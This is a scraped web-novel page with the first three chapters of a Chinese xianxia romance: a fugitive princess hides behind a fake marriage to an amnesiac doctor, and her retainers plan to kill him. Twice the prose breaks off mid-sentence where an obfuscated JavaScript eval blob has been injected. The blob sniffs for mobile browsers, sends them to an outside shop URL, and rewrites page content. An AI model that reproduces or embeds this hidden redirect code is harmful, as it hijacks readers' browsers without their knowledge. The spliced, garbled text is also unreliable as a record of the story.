《被错认成道侣后》 1. 第 1 章 秋初之际,南洲下了一场大雪。 这雪横亘整个南洲地界,万里霜寒。 九月飞雪实在罕见,更何况南洲相比其余三大洲要暖和许多,并不苦寒,但自打今年六月往后,便陡然趋冷,青山郡这等多年未见大雪的地方,竟也结霜凝雪了。 夜色浓郁,守郡的人搓了搓冻红的手,遥遥看见一队人从郡外走来。 灵兽身上挂着绛蓝的明珠,在夜里犹如一队鬼火而来。 “走洲的人回来了。”几个守卫连忙挪走拦路的栅栏。 “谢了!”最前头的坐骑上,身形魁梧的男子双手抱拳。 年轻的守卫摆摆手:“你们再晚一会儿,郡门就关了,今个儿就得露宿郡外了!” “下回走洲早点回来,免得出事。”一个守卫叮嘱。 “得嘞。”程寒舟扬声回道。 几十只灵兽喘着粗气,从敞开的大路走过,待跟在最后的一只灵兽穿过后,高悬于城门的圭表走到子时正。 守卫脸色一变,慌忙关闭城门。 程寒舟说道:“我看这雪是越下越大了,走完这一趟,咱们这些时日便歇着吧,免得被困在路上,若遇到那些脏玩意儿,都得把命搭进去。” “这一趟王城给了不少灵石,也够过上些时日了。” “不说别的了,今个儿一直赶路,去城东玉馔坊搓上一顿,程大哥去年就说的请客吃饭,这是请到狗肚子里了?” 程寒舟笑笑,脸上的胡子随之抖动,朗声道:“走,今儿我请客。” 有人附和笑道:“那得好好宰你一顿,玉馔坊什么值钱咱们来什么。” “我就不去了。”正热闹着,一道轻飘飘的声音穿插进来。 众人回头看去,他们这支走洲的队有三十人,能外出走洲的人,多少都有点本事了,不仅要明目塑心,还得有起码金丹之上的修为。 这支走洲的队伍里,大多都在金丹和元婴。 这小姑娘除外,她只有筑基修为。 姜令霜拢了拢厚实的披风,裹住脖颈,仰起头露出一张皮肤糙实、五官普通的脸,这模样着实不起眼,可她的一双眼睛却极其亮。 “程兄,我就不去了,我得回家。”姜令霜说道。 程寒舟笑笑:“你家夫君怎这般黏人,还不允你在外吃个饭了?” 一旁的人说道:“人家大多是男子在外养家,你家怎相反,走洲这种九死一生的活计,你夫君都允你跟着前来?” 姜令霜笑弯了眼:“我夫君身子不好,未明目定心,走不了洲,但他医术了当,我俩都养着家呢。” 有人打趣:“就让人小姑娘走吧,若不回去,她那夫君连饭都不吃,定是要等着的。” 程寒舟松口说道:“走吧,回去慢些,接着。” 他掷来一个钱袋子。 姜令霜接住,冲他拱手:“多谢程兄。” 她翻身下了坐骑,拍了拍这灵兽的头:“这几日辛苦了,给你放个长假,去吧。” 灵兽扬首嚎了一声,转身朝程寒舟走去。 坐骑是走洲队伍里的,并不是姜令霜买的,每回走洲回来,灵兽都得跟着程寒舟他们回总队。 姜令霜步行朝城南走去。 目送她离开,程寒舟摇摇头,嘀咕道:“明明是个筑基修士,怎么一双眼睛这么亮?” 一个修为只有筑基的人,却生了双能看透所有瘴域的眼睛。 若非有姜令霜在,他们怕是没办法平安走洲这般多次,说不定哪一次走洲便被不知何时出现的瘴域吞噬干净,又或者被哪只邪祟屠戮。 - 姜令霜刚走过一个路口,便瞧见了等候的人,那人身形高挑,清瘦却并不单薄。 大雪积到踝骨,奚时雪站在雪中,身上披了件极其厚实的披风,及腰的青丝用根木簪束了一半,单手执了柄竹骨伞。 伞下的那张脸,眉如墨画,凤目微挑,瞳色并不深邃,反而是种清透的琉璃色,轮廓俊到像是精雕细刻般,周身总有种凛冽的风雪气,让姜令霜有时觉得,他像是一捧雪。 一捧纯粹洁白,森寒刺骨的雪。 可奚时雪的性子却并不冷漠,姜令霜认为他是个极好的夫君。 能赚钱,且顾家,烧了一手好菜,扫地洗衣他都包揽,更重要的是,长得好看,完美取悦了姜令霜的眼睛。 “阿霜。”奚时雪执伞朝她走去。 姜令霜牵出笑,小跑几步朝他奔去,扑进他的怀里:“夫君。” 奚时雪身上有种极淡的清香,姜令霜从未在任何人身上闻到过,更像是一种雪莲香,让她时常想起白皑皑的雪。 奚时雪抬手摸摸她的脸,问道:“冷不冷?” 姜令霜弯眸道:“冷,回去你给我暖暖。” “好。”奚时雪单手替她紧了紧披风,“外头冷,我们回家。” 姜令霜挽住他的胳膊,而他撑着伞,伞面却朝她倾斜。 他们住的地方在城南,要穿过几条街,一直走到巷子的尽头。 家门前的雪只剩薄薄一层,应是有人提前扫过了。 院墙是用青砖摞起的,院角种了一株梅花树,如今才九月,或许因着近来下雪的缘故,这棵树竟然开了花。 姜令霜在门外便闻到了一股浓郁的饭香,她拽住奚时雪:“让我猜猜,今天有山椒炒肉,糖醋鱼,还有一道闻不出来。” 奚时雪道:“新学了道菜,阿霜猜猜是什么?” 姜令霜想了会儿,说道:“有陈醋的酸味,是醋溜青菜吗?” “今日不吃青菜。”奚时雪牵住她推开院门。 他出去前扫了院里的雪,但应是在外等她太久了,雪又连绵不断地下,此刻的雪已经能没过鞋底,两人踩着青砖而过,留下两串鞋印。 三间房舍并成一排,中间是厅堂,他们用膳会客的地方。 虽然也没什么客人来。 左侧那间房子稍大,是姜令霜的卧房。 右侧那间房小了些,陈列也简单许多,便是奚时雪的住处。 青山郡的人都知道他们是一家人,听闻是从隔壁郡迁来的,女子修为只有筑基,男子灵脉淤堵,称得上是个凡人。 两人走到廊下,奚时雪收起竹骨伞,抖了抖伞面的雪,将伞挨着墙角放置。 “阿霜,用膳吧。” 姜令霜弯眸颔首:“好。” 一张木桌便是他们的餐桌,奚时雪将放在保温法器内的菜端出来,他们两个往往两荤一素,三盘菜,两碗粥便够了。 山椒炒肉,糖醋鲤鱼,还有一道酸辣莴笋,以及两碗米粥。 “阿霜,洗手吃饭。” 盥洗的水也是提前烧好的,奚时雪又兑了些凉水,水温正合适。 姜令霜洗完手坐回来,顺带将脸上的易容术撤去,露出一张明艳夺目的脸。 奚时雪坐在她对面,为她夹了块笋片。 “昨日上山采药挖的野笋,你尝尝。” 姜令霜咬了一口,入口酸辣,她口味偏重,爱酸爱辣,奚时雪做饭也倾向她的偏好。 “如何?”奚时雪问她。 姜令霜弯眸一笑:“你的手艺自然是顶好的,完美极了。” 奚时雪又为她夹了几块笋:“我明日再做。” 姜令霜余光瞥见角落里堆的一箩筐野笋,这恐怕就是他们近日的早膳午膳和晚膳了,她若是说哪道菜好吃,奚时雪是一定会做到她说腻歪为止。 “这次回来要待多久?”趁吃饭的功夫,奚时雪温声问她。 姜令霜正嚼着笋块,闻言抬眸看向他,奚时雪与她对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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所以他出了什么事,导致雪境的结界松动却无法巩固,如今四大洲的王室,包括参商二府都在商议派谁前去探查消息,这人必须得修为足够高深,能抵抗饕雪,找到丹襄境主。 如果姜令霜在,东洲王城派出的人应该是她,一个洞虚境修士,可如今她孤身一人,危如累卵,若是敢露头,追杀立马就会绵延袭来,怕是撑不到回东洲王室。 姜令霜低头,翻转掌心,经脉下一道流光迅速滑过。 徐南禺那狗东西打入的一根玲珑针,到现在还未完全逼出来,她的修为始终被限制,不足鼎盛时期的一半实力,硬碰硬只有死路一条。 一阵夜风吹过,卷起虚空落下的飞雪袭来,扑在脸上冰寒刺骨。 姜令霜收回手,眉心微蹙。 丹襄雪境的境主修为高深,且素来隐世并无仇家,没人会这般吃力不讨好去对付他,何况谁又能对付他呢? 那境主到底在做什么? “阿霜。” 正想着,身后有人唤她,声音清洌,如潺潺溪水。 姜令霜回身看去。 两扇木门敞开着,屋内点了暖黄的烛火,奚时雪站在门廊处,一缕黑发垂落在肩,眸色如淡墨般浅。 他走过来,握住姜令霜的手,随着他的靠近,姜令霜觉察出一股淡淡的幽寒冷意,她抬眸看去,瞧见奚时雪根根分明的纤长睫羽。 这位大美人瞧着比外头的雪还冷,姜令霜越发觉得他像是一捧握不化的雪。 奚时雪低头,在她的唇角落下一吻,温声说:“夜太深了,该盥洗歇息了。” 2. 第 2 章 廊外的雪还在下,奚时雪在烧盥洗的水。 对东洲王室的公主来说,烧水只是眨眼的功夫,可姜令霜如今的身份是个只有筑基境的修士,奚时雪更是个经脉淤堵的凡人。 两人虽过着凡人的生活,但奚时雪从不让她做这些事。 姜令霜坐在放了灵火珠的屋内,轩窗敞开了道缝,靠窗的桌上放了提前温上的茶,她支着胳膊靠在窗边,望向对面棚下烧火的奚时雪。 灵火珠价高,非寻常百姓能负担得起,奚时雪却在几月前买了两颗,一颗安在了她屋内,几乎掏空了他的积蓄。 奚时雪起身添柴,瞧见姜令霜靠在窗前,双目相对,她冲他举了举茶杯。 “夫君,来喝口茶。” 奚时雪穿过小院走过去,因为手上抱柴染了灰垢,他并未进屋,站在窗外就着姜令霜的手抿了口热茶。 姜令霜抬手摸摸他的侧脸:“冷不冷?” 奚时雪道:“不冷,等我一会儿就好。” 沐浴的水需要烧上半个时辰,姜令霜便靠在窗前等他。 她和奚时雪当这样的“道侣”,已经一年零五个月了。 两年前,姜令霜甩掉追杀后,躲进了南洲的一个偏远郡县,一待便是半年,直到一次外出探查之际,捡到了晕倒在她家附近的奚时雪。 还没来得及扔了他,徐南禺的人已经追到了南洲,挨家挨户搜查,以他的聪慧,孤身一人的女子最易引他注意。 姜令霜只能将奚时雪身上的血污擦拭干净,靠着昏睡的他瞒过了徐南禺的追杀,也就是这一遭,让姜令霜被人“讹上”了。 当晚奚时雪醒了,不仅醒了,还失忆了,一问三不知,只有身上一块瞧着造价不菲的玉牌上印了“奚时雪”三字。 失忆是真的,姜令霜查过,他的识海有损。 没有修为也是真的,经脉根本没有灵力,明显就是个凡人。 姜令霜急着探查外头的情况,没空管他,索性将他留在家里,她孤身外出。 夜晚回家,奚时雪竟还在。 不仅在,还做了一桌饭,将家里收拾得干干净净。 见她归来,两人隔着不大的院子对视,姜令霜面无表情。 奚时雪薄唇微抿,看了她半晌,喊道:“夫人。” 塞了满柜子的男女衣裳,以及姜令霜刻意伪造出的夫妻生活痕迹,是奚时雪误会的根源,加之搜查之际他半睡半醒,模糊间听到姜令霜承认两人的关系,醒来后竟真的以为自己已结亲。 徐南禺已经追到这里,外头守卫森严,搜查的人说不定哪日还会再来,在他们离开这里前,姜令霜不能离开这个郡县,奚时雪也不能。 于是她认下了。 是利用,姜令霜并不否认,和奚时雪一同离开迁往青山郡,也是打着靠他掩护身份的目的。 两人搭伙过日子,一过便是一年半。 姜令霜喝完最后一口茶,奚时雪也烧好了水。 “阿霜,你先去沐浴吧,我过会儿再洗。” 姜令霜弯唇一笑:“好。” 水房里也有颗灵火珠,方便盥洗沐浴,姜令霜在屏风外脱下外衫,只着内衫进去,没洗多久便听到房门推开,有人进来。 一扇屏风将水房分为两部分,奚时雪并不会逾矩,即使听到屏风后淅沥的水声也不会抬眸看一眼,将干净的寝衣放下,抱走了她换下的衣物。 姜令霜懒懒泡在浴桶内,听到房门又关上的声音。 不知道奚时雪的接受能力怎这般惊人,若换她一觉醒来发现自己竟多了个夫君,怕是能将房顶都掀了,可奚时雪却坦然接受,并很快承担起了一个丈夫的责任,看起来适应良好。 姜令霜爱泡澡,一旦进去,得待到水凉才会出来。 奚时雪将两人今日换下的衣物洗了,并未挂在院里,而是晒在水房外头的廊下,有那颗灵火珠烘着不会结冰。 晾完衣裳,也才过去了不到两刻钟。 奚时雪站在窗外,对里头说道:“阿霜,我出去一趟。” 姜令霜问:“有人寻医?” 奚时雪应道:“嗯。” “早些回来,我会担心。”姜令霜回道。 “好。” 奚时雪离开,轻轻掩上两扇木门。 外头的雪还在下,姜令霜回来前一个时辰,他刚扫完的雪,如今又飘扬落了下来,盖住了他们回家时留下的一串脚印。 - 青山郡远不如南洲王城,甚至比不得其余几大城镇,但也为万室之邑,位望通显之人不少,东街的周府便算其一。 奚时雪刚到门前,一仆人装扮的老者匆匆赶来:“奚大夫,我家老爷夜间忽然吐血不止,还劳您跑这一趟。” “医者本分罢了,管家客气。”奚时雪淡声应下。 周管家引奚时雪进宅,穿过曲折长廊,一路向前走,到了间卧房前。 “老爷在里头,奚大夫,您去瞧瞧。”周管家并未跟进去,仍旧如过去那般守在门外。 奚时雪颔首,抬步入内,扑鼻而来的是浓重的药味,一张漆金屏风隔绝内外两厅,轩窗紧闭,屏风后隐约可瞧见一人佝偻的身影,以及隐忍的咳嗽声。 周老爷见他来,扬起病容明显的脸:“奚大夫,您来了。” 奚时雪并未回话,坐在榻边将药箱放在小桌上,抬手为周老爷把脉。 周老爷喘着气说道:“后半夜忽然咳了起来,像是喉咙里卡了血痰,实在难受得紧。” 奚时雪把脉时候并不说话,安静了会儿便收回了手,起身准备施针:“脉象芜杂,肝郁日久,周老爷养养身子,多卧床休息。” 周老爷盯着奚时雪的背影,讷讷道:“是。” 整个青山郡都知晓这位奚大夫的医术高超,且医者仁心,穷苦百姓他不收其诊金,若是达官富商也不会漫天要价。 奚时雪布针很快,起身开药:“共七贴,煎服,一日早晚两次,注意饮食清淡。” 他写好药方搁在桌上,回身看靠在榻上的周老爷。 “你肾阴亏损严重,坐卧不易,这些时日戒酒戒色,少去烟花柳巷之地。” 周老爷身子一僵,一口气险些没上来,脸色难看得紧,面子里子全掉地上摔得稀碎,总觉得这人在阴阳怪气,不知道是性子直爽没情商,还是单纯有意让他难堪。 “是,是,奚大夫说得是。” 周老爷说着,眼神却在瞥窗边的香炉,缥缈白烟从里头袅袅溢出。 ……不应该啊,这香便是神仙来了都得一闻就晕,且无色无味,他自己提前服下解药,可奚时雪并未服药。 难不成体质特殊? “怎么了?” 奚时雪忽然开口,朝香炉走去。 周老爷愣了下,反应过来忙道:“无事,只是走神了。” 奚时雪抬手执起香炉盖,那古铜色的盖子在骨节分明的手中显得如此小,周老爷还没来得及拦,奚时雪便盖上了香炉盖,将燃起的香炉灭了。 “欸!”周老爷来不及制止,下意识惊呼。 奚时雪垂眸看着熄灭的香炉:“无方香,无色无味,不易觉察,药性极强,一点便能药倒一个化神境修士,有价无市,以你的身份应当弄不到这东西。” 他抬眸看过来,在周老爷惊恐的目光中,淡声问道:“谁给你的?” “来——”周老爷张嘴便要叫人,刚开了口,一口淤血吐了出来,他身子不稳从榻上摔了下来,重重跌在青砖上。 两条胳膊和腿上扎入的银针深入血肉,疼得他想叫却又无法开口,僵着脖子看奚时雪。 站在窗边的白衣青年身量高挑,轩窗开着,外头是肆虐的风雪,他垂眸看着跌落在地的周老爷,单手屈起扣在窗台轻敲。 而院里的人,一个不剩全部倒下,厚实的雪埋在他们身上。 奚时雪朝他走过去,在他面前单膝蹲下。 周老爷疯狂抽搐,歪斜的嘴边溢出大口的血,便是再过傻,此刻也猜出了奚时雪方才布的针有问题,跟寻常的针术不同。 从进屋,他就闻到了这无方香。 “你可以不说,我走后,这场雪会埋了整个周府。”奚时雪抬手拔了他身上的针,低垂眸子看着他。 银针拔出,周老爷忽然深深吸气,紧接着又吐出口淤血,随着那口血呕出,窒息的危险也随之暂时解除。 奚时雪问他:“谁给你的香?” 周老爷惊恐万分,忙道:“前些时日有几人来了南洲王城,我儿在王城任职,听闻那些人在找一个模样极俊的白衣青年,还拿了画像,我儿去年见过您,觉得那画像眼熟便拓了一份传回来。” 奚时雪并未回话,安静看他。 周老爷半分不敢隐瞒:“这香是我儿在王城弄来的,听那些找您的人说,您身份尊贵,修为极高,必须得用上这香才能拿下,事成之后可引荐有功之人进王室任职……我这才……” 起初周老爷也在怀疑自家儿子是不是认错人了,这奚大夫瞧着清瘦,且是个凡人,若真是修为高强身份尊贵,怎会屈于这青山郡当一个大夫,又怎会让娘子去走洲养家? 可如今瞧来,这奚大夫哪里是个寻常大夫? 周老爷欲哭无泪:“奚大夫,看在我年老没几年可活的份上,您就饶我——” “周小公子可有对外说些什么?”不等他开嚎,奚时雪淡声打断。 周老爷当即道:“并未!担心出些差错未抓到你,反而会给我儿增些麻烦,我让我儿瞒着那些人,打算……” 打算将人先抓到手,再送去南洲王城,确认真是奚时雪后,再借功求赏。 算盘打得不错。 “知道自己该说什么。” 奚时雪起身收拾药箱,丢下一句话,未看周老爷一眼,转身离开屋内,走入茫然大雪。 周老爷跌在地上,懵懵看着敞开的门,待奚时雪的背影消失后,院里厚重的雪像是忽然融化,露出被雪掩埋的几人,正幽幽转醒。 奚时雪太过平静,没有问候他上下三代祖宗,也没有对他们周府做什么事,他只是留了一句称得上平淡的话,然后便离开了。 周老爷一口气喘过来,手忙脚乱给远在王城的儿子传信。 “别管这茬子事了,这人不是咱们能招惹的!” - 对于奚时雪的医术,姜令霜曾心存疑虑。 明明是个凡人,伤成那般模样都没死,晕倒在她家附近,醒来后忘记一切,却还能识字读书,且过目不忘,聪颖至极。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17414954|200739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奚时雪的医术是自学的,两人在白云郡时,隔壁住了个独身一人的老郎中,奚时雪跟着他学了才两月,古籍医书、针灸药浴便已通悟。 天赋之强让姜令霜瞠目结舌,趁他睡着,翻进他屋里查了几次。 是失忆了,没错,识海乱成一团,连她一个洞虚境的修士都捋不顺。 他姓奚,且晕倒时衣着不凡,腰间玉牌更是做工不菲,姜令霜后来想了许久,只能得出一个结论。 这人怕不是参府奚家那一脉的。 参府奚家一脉从医,名下医修不少,或许就是祖传天赋,奚家族人都擅医。 姜令霜系上寝衣的飘带,披了件外衫,踱步走出屏风。 打开门,外头还刮着雪,她仰头看去,不是错觉,雪花愈发大了,这证明丹襄雪境内的饕雪又溢出了许多。 院角的青墙下,一根藤蔓悄无声息从泥地中破土而出,借着厚雪的掩埋蜿蜒爬行,无声无息,逐渐逼近廊下倚靠着木桩赏雪的红衣女子。 藤蔓一路向前,绕至姜令霜身后,借着梁柱的遮掩从后破雪,以迅雷之势冲去—— 姜令霜眼也不眨,抬脚踩下。 粗如手臂般的藤蔓被踩中,剧烈挣扎起来,姜令霜低头看它,足尖碾了碾,听到一声似人声的痛呼。 “停停停!殿下,是我!” 姜令霜一脸嫌弃,抬脚松开:“蠢货。” 离淮化为人形,身着绣金黑衣的人身量挺拔清瘦,袖口带了两副臂套,及腰的长发束成马尾,生得像十六七岁,模样俊秀。 瞧见姜令霜后,他的眸光亮堂堂的,若非是个藤妖不是只犬妖,怕是身后的尾巴都能摇起来。 “殿下,我终于找到您了!”离淮说着便要上前。 “站那儿不许动。”姜令霜抬手打住,眉头紧蹙,“一会儿我夫君要回来了,他鼻子灵得很。” 离淮:“……” 离淮:“?” 离淮天都要塌了:“哪个混账东西趁人之危骗您成婚!” “成婚?!”一道女声传来,紧随其后的是一道轰然砸地的声音。 姜令霜看过去,自墙上摔下来的紫衣少女从雪窝中扒出来,吐出一口雪,胡乱捋了捋乱糟糟的发型。 来不及管自己,宁菡朝她看来。 人还没站起来,弯刀已经拔了出来。 宁菡冷着一张小脸:“和谁,杀了。” 离淮抽出长鞭:“大卸八块。” 姜令霜眉心一跳,抬手扶额。 这等惊天动地,万里挑一的蠢货,母后竟然给她留了两个。 姜令霜咬牙切齿:“我只给你们半刻钟时间,快说要紧的事。” “哦。”宁菡从雪堆中手忙脚乱爬出来。 离淮不甘不愿收回长鞭,和宁菡站在一起,两人齐齐拱手:“殿下!” 姜令霜皱眉问道:“怎么找到我的?” 离淮道:“两年前您失踪后,我和宁菡也被徐南禺追杀,未及时与您会合,这两年来星巽堂对我们的追杀从未停止,我们不敢露面,只能暗中追着星巽堂的踪迹来找您,半月前发现了您在北泽郡留下的记号。” 宁菡面无表情:“徐狗好死。” 姜令霜双手环胸靠在梁柱上:“王城那边呢?” 离淮垂首道:“王君仍昏迷,怕撑不了多久了,如今王城由星巽堂和大殿下把持,过些时日便是天诏降临之日,若您赶不回去,东洲天诏应会落到大殿下身上,京玉弓认他为主,日后他便是少君,待王君死后应天受命,承王君之位。” 宁菡冷声道:“回去,杀。” 姜令霜抬手敲了她一脑壳:“猪脑子,凭我们三个,怕走不回去,出了南洲便被徐南禺堵死了。” 宁菡捂住脑袋,生了闷气,提溜化为一条紫白纹路的小蛇,蛇头叼着蛇尾蜷成一团。 离淮接着道:“殿下,还有件蹊跷的事,我与宁菡一路南下时,察觉有另一伙人也在搜寻南洲地界。” 他顿了顿,又道:“但不是找您的,南洲应当还有位大人物。” 姜令霜垂眸,长睫掩去眸底的晦涩,倏然间,她抬起头,卷起地上团成球的宁菡塞给离淮,宽袖一挥将一藤一蛇甩出去。 “三息功夫,给我消失。” 离淮、宁菡:“?” 一藤一蛇砸到地上,还没来得及嚎,连滚带爬起身,头也不回奔进雪夜中,不知道姜令霜是何意思,但对其言听计从,绝不反驳。 姜令霜扭头进了自己的卧房,坐在妆奁台前对镜梳发,梳篦自柔顺的发端一路梳到发尾。 外头传来“吱呀”声,院门被推开,一人撑伞走了进来。 竹骨伞面上积了层薄雪,执伞的手分外修长,莹润如玉。 奚时雪瞧见水房的灯灭着,而姜令霜的卧房里,纱窗上倒映出窈窕身影,他便径直走去,在廊外合上伞。 “阿霜,歇下了吗?” “还未,进来吧。” 奚时雪便推开门,迎面扑来的是灵火珠的热气,夹杂着一股若有若无的花香,是他为姜令霜特调的安神香,夜间点上半根,整夜都能安眠。 姜令霜穿着单薄寝衣,回身朝他看来,弯眸轻笑:“夫君,你回来了。” 3. 第 3 章 “怎么还未睡?” 奚时雪在门口解下厚重的披风,朝她走去。接过她手中的梳篦,站至她身后为她梳发。 姜令霜胡诌道:“等你啊,你不在家,我怎么睡得着?” 奚时雪一顿,指节蜷了蜷,只是一刹那的失神,他继续为她梳发:“阿霜,日后我会早些回来的。” 铜镜中倒映出他们两人交叠的身影,奚时雪低眉顺目,站在她身后为她梳发,姜令霜的头发像是静心养过的,柔顺似绸缎,一梳到尾。 奚时雪替她梳好发,放下梳篦,抬眸看向镜中,青山郡除了他,无人见过姜令霜的真容,她出去走洲时皆是易容。 姜令霜生得浓丽,眉宇间总有种骄矜,纵使她极力掩饰了,可奚时雪仍能看出她幼时生活应当不错,权力在手,漫不经心看过来时,有种睥睨之态,并非她所言的孤儿出身。 可这些事奚时雪并不会问。 人有时要识趣一些,刨根问底会惹人生厌,过日子不能活得太明白。 他按住她的肩,姜令霜握住他搭在肩上的手,她转过身,脊背抵着妆奁台,指腹自他的手背上移,攀住他的脖颈。 姜令霜用了些力,其实根本不用使力,奚时雪自会低头。 两人的鼻尖几乎相抵,姜令霜问道:“我此番走洲赚了不少银两,明日给你屋里装个灵火珠吧?” 奚时雪握住她的手腕:“我不需要。” “天冷了,我担心你。” 姜令霜抬手摸摸他的脸,触感微凉,奚时雪的体温都比寻常人要低上些。 奚时雪垂眸,并不会三番两次反驳她,回道:“好。” 姜令霜看了眼墙上的圭表:“太晚了,你快去沐浴歇息吧。” 奚时雪没动,目光沉静,好似在等待什么。 姜令霜迟疑问:“你现在不想睡?” 奚时雪看着她的唇:“你今日还未亲我。” 姜令霜:“……” 算这么清楚呢? 姜令霜故意逗他:“忘一天都不行?” 奚时雪垂下眼眸:“分开的这几日,我很想你。” 姜令霜觉得好笑,奚时雪人前好像七情六欲都绝完了般,关上门又是另一副模样了,有些黏人。 她仰头覆上他的唇,柔而密的吻是奚大夫的睡前甜点,一日只有这片刻功夫,他不再像朵生在雪巅的冰莲,更像是坠入俗世的艳鬼。 约莫半刻钟,姜令霜推了推亲个没完的奚时雪,唇被他吮得发肿,略有些麻,他还得寸进尺意犹未尽,贴上来轻轻描摹她柔软的唇。 姜令霜闷闷笑了声:“快去沐浴吧。” 奚时雪抬手捋起她鬓边的一缕碎发别到耳后,这个睡前吻似乎让他心情很愉悦,整个人透着一种温和。 “好,阿霜,你早些睡。” 姜令霜倚靠着妆奁台,目送奚时雪离开。 院里的雪还在下,奚时雪站在廊下,仰头望向黑茫茫的天,混着皑皑白雪,天地被这场不知要下到何时的雪完全覆盖。 他淡淡扫了眼一侧竖立的青墙,眸光平静,只看了眼便收回视线,迎着大雪朝水房去。 - 姜令霜和奚时雪并不住在一起。 奚时雪脑回路清奇,人傻单纯,竟真信了姜令霜的鬼话,认定他们是道侣,醒来的当晚,他看着姜令霜铺好的地铺,瞧了会儿抬头看她。 姜令霜道:“我们相识并不久,你救了我,我瞧你孤身一人,便以身相许嫁给你了,成婚当日你答应我,会等我们两情相悦再圆房同住。” 说完她便觉得不靠谱,凡间百姓成婚早,奚时雪这张脸也不像能大龄未婚的模样。 可奚时雪他信了,她说什么他都信。 这等性子倒是很像参府奚家的人,奚家那几个话事人一个比一个单纯,说好听点叫混沌未凿,说难听点就是没心眼儿。 做戏也得做全些,这一年半来奚时雪对她分外照顾,姜令霜也装模作样,装出一副被他打动逐渐动心的模样,两人扮演一对恩爱的道侣。 姜令霜吹了屋里的灯,靠在妆奁台旁坐了没多久,外头有些动静传来,有人走到她的门前,兴许是瞧见屋里烛火灭了,只站了会儿便离开了。 过了几息功夫,相隔一个厅房之处有开关房门的声音。 姜令霜坐到寅时二刻,起身穿好外衫,单手推窗行云流水翻了出去,足尖轻踮跃上青墙,一路朝外掠去。 十几里外的密林早已被雪覆盖,这里鲜有人至,雪能积到小腿深。 离淮挥袖清理了一片雪地,掏出兜里团成死结的小蛇,冷着脸解开挂到树枝上。 紫白小蛇绕着树枝缠了一圈,宁菡一憋了闷气便这般模样,蛇头叼着蛇尾绕来绕去,没一会儿就能将自己打成死结,到时候还得离淮废一番功夫解开。 离淮双手环胸,在雪地里走来走去,一连几个来回,没忍住,音量拔高道:“殿下竟然成婚了?跟一个凡人?在这么一个小地方?” 宁菡睁开蛇瞳,竖瞳幽冷:“杀掉。” “杀杀杀,殿下在这里,你怎么敢杀?”离淮气汹汹说道,“我想不明白,殿下她图啥啊,堂堂东洲公主,连北洲王城的少君都看不上,放着好好的日子不过,爱上粗糠了?” 宁菡看他:“粗糠,难吃。” 离淮白她一眼:“我当然知道难吃!不是,现在是粗糠细糠的问题吗——唉算了你又听不懂,总之这桩婚事留不得,殿下是有正经事要做的。” 宁菡狂点蛇头:“所以,杀掉。” 离淮:“……” 离淮闭眼又睁眼,双手一摊:“姑奶奶啊,是你打得过殿下还是我打得过殿下,那凡人只要有殿下护着,你我就杀不得!” 小蛇瞬间蔫了,郁闷地在树枝上缠来绕去,趁她打结的前一刻,离淮看也不看,熟练抬手将她解救出来。 离淮走来走去,绕着这方隅之地来回兜了几圈,在宁菡昏昏欲睡之际,他陡然站定。 “殿下在,我们是杀不了他,把殿下引走不就能杀了?” 宁菡竖起蛇头,简直醍醐灌顶:“对!杀!” 小蛇化为人形,和离淮对视一眼,便准备往姜令霜所在之处去,刚转身,面前红影一闪而过,比巴掌更先到的是一阵熟悉的馥郁花香。 离淮和宁菡心说不好,来不及躲,只顾着护脸。 “殿下,别打脸!” 姜令霜一人一记脑瓜子敲到他们的头上,洞虚境修士两巴掌下去,将一藤一蛇打得晕头转向。 离淮和宁菡抱头蹲下,边揉脑袋边幽怨看她。 离淮道:“殿下!两年没见,我跟宁菡天天吃不下睡不着的,您却在这里跟一个凡人过上了日子!” 姜令霜抬手拂去袖上的雪,垂眸看着他们:“为什么要杀他?” 宁菡的瞳仁变为竖瞳,诡谲阴森道:“碍事。” 离淮站起身,不忿道:“娘娘离世前叮嘱过我们,一定要辅佐您登上帝位,九五之下难有安位,若大殿下继任王君,第一个杀的便是您!您当然可以成婚,但那人必须得是天家贵胄,能助您一臂之力,岂能是个出身寒微,无门无荫之人?” 姜令霜沉默,眸光淡淡,安静看着离淮和宁菡。 离淮越想情绪越是激昂:“殿下,天下四洲三境二府,名门望族那般多,以您的身份选谁不好,切不能是个凡人啊!” “糊涂,生气。”宁菡干脆一屁股坐到地上,蛇眸幽幽看着姜令霜,委屈和不满全数挂在脸上。 姜令霜叹了声,别过头看向雾蒙蒙的雪域:“不许动他,我和他成婚只是权宜之计,并无真心,有这一层夫妻关系作掩护,在青山郡这一年半尚且太平。” 宁菡眼眸一亮:“真的?” 姜令霜颔首:“嗯。” 离淮脸上的颓然一扫而尽,单膝跪地拱手道:“殿下,是属下误会您!” 姜令霜没时间说这些客套话,随意抬了抬手:“起来吧,我得告知你们一件事。” 离淮和宁菡赶忙站起身。 “殿下您说。” “半月前,南洲王城传来密令,要青山郡羁押两名罪人前往王城,我们这支走洲队接下了任务,队里的人看不明白,王城要我们送的哪是什么人?” 姜令霜回身,看向怔愣的离淮和宁菡,淡声道:“是傀。” 宁菡眨眨眼,似乎还有些懵。 离淮喉口滚了滚,低声斥道:“傀影是北洲圣物无晦镜吸入太多恶念后造就的极阴之物,若被傀影分生的傀丝缠上,蚕食魂魄血肉,将一个人从内里吃空,这傀丝便会顶替这人,成为傀,战力凶悍,颇为难缠,砍了头都能活。” 他顿了顿,又说道:“三百年前,西洲王后为护公主玉琼音,被五只潜入王城的傀杀害,王后可已臻至洞虚境了。” 宁菡道:“西洲,与我们无关。” 离淮脸色铁青,握紧拳头道:“怎么会无关?当年西洲和北洲一起将逃窜的傀影捉回,封禁在无晦镜中,此后傀都消失几百年了,现在出现在南洲,那便证明北洲十年前遭窃的圣物无晦镜也出现了。” 宁菡点点头:“所以呢?” 